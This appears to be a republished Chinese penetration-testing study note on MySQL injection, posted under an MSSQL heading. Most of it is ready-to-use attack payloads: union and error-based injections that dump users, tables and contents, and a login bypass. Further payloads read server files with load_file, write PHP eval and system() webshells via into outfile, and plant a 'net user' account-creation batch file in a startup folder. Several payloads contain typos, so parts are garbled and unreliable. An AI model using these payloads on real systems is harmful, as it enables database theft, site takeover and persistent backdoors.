渗透测评学习 十、 MSsql注入下
发布时间:2023-03-13 11:22:58 所属栏目:MsSql教程 来源:
导读:MysqL介绍及操作
MysqL是一个关系型数据库管理系统,由瑞典MysqL AB 公司开发,目前属于 Oracle 旗下产品。MysqL 是最流行的关系型数据库管理系统之一,在 WEB 应用方面,MysqL是最好的 RDBMS
(Relati
MysqL是一个关系型数据库管理系统,由瑞典MysqL AB 公司开发,目前属于 Oracle 旗下产品。MysqL 是最流行的关系型数据库管理系统之一,在 WEB 应用方面,MysqL是最好的 RDBMS
(Relati
|
MysqL介绍及操作 MysqL是一个关系型数据库管理系统,由瑞典MysqL AB 公司开发,目前属于 Oracle 旗下产品。MysqL 是最流行的关系型数据库管理系统之一,在 WEB 应用方面,MysqL是最好的 RDBMS (Relational Database Management System,关系数据库管理系统) 应用软件。MysqL是一种关系数据库管理系统,关系数据库将数据保存在不同的表中,而不是将所有数据放在一个大仓库内,这样就增加 了速度并提高了灵活性。MysqL所使用的 sql 语言是用于访问数据库的最常用标准化语言。MysqL 软件采用了双授权政策,分为社区版和商业版,由于其体积小、速度快、总体拥有成本低,尤其是开放 源码这一特点,一般中小型网站的开发都选择 MysqL 作为网站数据库。由于其社区版的性能卓越,搭配 PHP 和 Apache 可组成良好的开发环境。(源自百度百科) 安装: Windows上 PHPstudy wamp upupw (都是集成好的) iisthuweishen Linux上 yum-y install httpd PHP PHP-MysqL MysqL-server 简单的操作命令 1、创建数据库 CREATE DATABASE database-name 2、删除数据库 drop database dbname 3、查询数据库 CREATE TABLE MYTABLE(name VARCHAR(20),sex(HAR(1))); 4、查看数据库 show datbases; 5、查看表 show tables; MysqL函数 1、system_user() 系统用户名 2、user() 用户名 3、current_user 当前用户名 4、session_user() 连接数据库的用户名 5、database() 数据库名 6、version() MysqL数据库版本 7、load_file() 转成16进制或10进制MysqL读取本地文件的函数 select load_file('c:/123.txt'); 可以将地址转16进制放入就无须单引号 8、@@datadir 读取数据库路径 9、@@basedir MysqL数据库安装路径 10、@@version_compile_os 操作系统 MysqL数据库连接 <? $host='localhost'; //数据库地址 $datebase='sui'; //数据库名称 $user='root'; //数据库账户 $pass=''; //数据库密码 $pass=''; //数据库密码 $webml='/0/'; //安装文件夹 ?> 一般在config.PHP db_config.PHP文件中 lnclude/common.inc.PHP 一般在data文件夹下 数据库结构化对比 access数据库 A网站:adata.mdb 表名(admin) 列名(user,pass) 值 B网站:bdata.mdb 表名(admin) 列名(user,pass) 值 MysqL数据库 A网站 B网站 表名 列名 值 MysqL注入原理 注入产生原理以及防护绕过 注入形成原理 简单防注入原理 绕过注入原理 形成注入的原理:没有对输入的参数进行过滤 防注入绕过 大小写绕过 %00编码绕过 截断关键字 判断注入 手工(5.0以上)要用infromation函数,没有就用sqlmap and 1=1 and 1=2 这种只适用于没有上waf的 判断多少列 order by xx order by 21 正常 order by 22 不正常 说明有21列 MysqL其他注入 MysqL 4.0渗透 利用sqlmap注入读取文件 查询表名 sqlmap --sql-shell select load_file('/usr/www/index.PHP'); MysqL显错注入 判断是否存在注入,输入 ' 爆当前数据库的用户 -999999999' union select 1 from (select count(*),concat(floorcrand(0)*2),(select user() limit(0,1) a from information_shema.tables group by a)b# 爆当前数据库名称 -999999999' union select 1 from (select count(*),concat(floorcrand(0)*2),(select database(), limit(0,1) a from information_schem.tables group by a)b# 爆当前版本号 -999999999' union select 1 from (select count(*),concat(floorcrand(0)*2),(select version() limit(0,1) a from information_schema.tables group by a)b# 爆当前数据库 -999999999' union select 1 from (select count(*),concat(select(select concat (0x27,0x27,hex(database() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)# 爆表 ' and(select 1 from(select count(*),concat((select (select distinct concat(0x27,0x27 ,hex(cast(table_name as char)),0x27,0x7e) from information_schema.tables where table_schema=0x64656E67 (imit 0,1) from information_schema.tables group by x)a)# 爆字段 ' and(select 1 from(select count(*),concat((select (select distinct concat(0x7e,0x27 ,aolumn_name,0x27,0x7e) from information_schema,columns where table_schema=0x64656E67 and table_name=0x75736572 limit 0,1) from information_schema.tables group by x)a)# 爆内容 ' and(select 1 from(select count(*),concat((select (select distinct concat(0x7e,0x27 ,user,username.0x27,0x7e) from user limit 0,1)) from information_schema.tables limit 0,1), floor(rand(0)*2))x from information_schema.tables group by x_a_# 后台绕过 select *from user where username="and password=" 输入:admin# #表示注释后面的的代码 select * from user where username='admin' # ' and password='' 输入:admin' and or '1=1 select * from user where username='admin' or '1=1' and password='' MysqL读取函数的使用 load_file()函数 该函数使用来读取源文件的函数,只能读取绝对路径的网页文件。在使用load_file()时应该先找到网站的绝对路径 例如:d:/www/xx/index.PHP /usr/src/apache/htdoc/index.PHP 注意: 1、路径符号“\”错误 “\\”正确 “/”正确 2、转换十六进制数就不需要单引号 / Linux路径格式 \ Windows路径格式 获取网站根路径 1、报错显示 2、Googlehack site:目标网站 warning 3、遗留文件 PHPinfo info test PHP 4、漏洞爆路径 5、读取配置文件 读取网站文件内容 and 1=2 union select 1,foad_file('c:\\Inetpub\\wwwroot\\MysqL_sql\\inc\\set_sql.PHP'),3,4,5,6,7,8,9 and 1=2 union select 1,load_file(十六进制),3,4,5,6,7,8,9 c:/windows/system32/inetsrv/Metabase.xml 写入函数 into outfile and 1=2 union select 1,"<?PHP @eval($_POST['cracer']);?>",3,4,5 into outfile 'c:/Inetpub/wwwroot/MysqL-sql/cracer.txt' 利用注入漏洞执行系统命令 1、需要wamp环境搭建,要系统权限才可以执行 and 1=2 union select 1,"net user seven 123 /add",2,3,4 into outfile 'c:/Documents and Settings/Administrator/[开始]菜单/程序/启动/1.bat' 2、 and 1=2 union select 1,"<pre><body><?@system($_GET['cc'];?></body></pre>",2,3,4 into outfile 'c:/Inetpub/wwwroot/MysqL-sql/cr.PHP' 魔术引号与宽字节注入 该特性已自PHP5.3.0起废弃并于5.4.0起移除。当打开时,所有的单引号,双引号,反斜杠NULL字符都会自动加上一个反斜杠进行转义,这和addslashes()作用完全相同,一共有三个魔术引号指令: magic_quotes_gpc 影响到http请求数据(GET,POST和COOKIE) 不能在运行时改变,在PHP默认的值为on参见get_magic_quotes_gpc() magic_quotes_runtime如果打开,大部分从外部来获取的数据并返回的函数,包括从数据库和文本文件,所返回的数据都会被反斜杠转义 在运行时改变,在PHP中的默认值为off,参见set_magic_quotes_runntime()和get_magic_qutes_runtime() magic_quotes_sybase如果打开将会只用单引号对单引号进行转义而非反斜杠,此选项会玩全覆盖magic_quates_gpc 如果同时打开两个选项,单引号会被转义成 " ,而双引号反斜杠和NULL字符不会转义 如何取得其值,参见InI_got() 使用宽字节注入绕过魔术引号 %df%27 sqlmap.py -u "xx.com/xx.PHP?id=1" --risk 3 --dbms =MysqL-p username --tamper unmagicquotes.py -v 3 (编辑:汽车网) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |
推荐文章
站长推荐
